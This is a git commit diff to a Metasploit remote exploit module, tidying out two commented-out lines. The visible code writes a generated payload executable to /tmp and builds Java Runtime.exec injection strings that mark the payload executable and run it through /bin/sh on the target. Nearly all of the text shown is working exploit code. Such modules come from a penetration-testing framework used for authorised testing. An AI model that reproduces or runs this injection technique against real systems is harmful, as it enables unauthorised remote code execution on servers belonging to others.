fixed comments left in by accident
parent
4edf5260f4
commit
8027615608
|
@ -96,13 +96,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
pl_exe = generate_payload_exe
|
pl_exe = generate_payload_exe
|
||||||
chunk_length = 384
|
chunk_length = 384
|
||||||
append = 'false'
|
append = 'false'
|
||||||
# java_cmd = "@java.lang.Runtime@getRuntime().exec(%s)"
|
|
||||||
#Now arch specific...
|
#Now arch specific...
|
||||||
case target['Platform']
|
case target['Platform']
|
||||||
when 'linux'
|
when 'linux'
|
||||||
chunk_length = 128 #Complains of a long filename if left default.
|
chunk_length = 128 #Complains of a long filename if left default.
|
||||||
@payload_exe = "/tmp/#{@payload_exe}"
|
@payload_exe = "/tmp/#{@payload_exe}"
|
||||||
# chmod_cmd = java_cmd % '\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\")'
|
|
||||||
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
|
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
|
||||||
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
|
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
|
||||||
when 'java'
|
when 'java'
|
||||||
|
|
Loading…
Reference in New Issue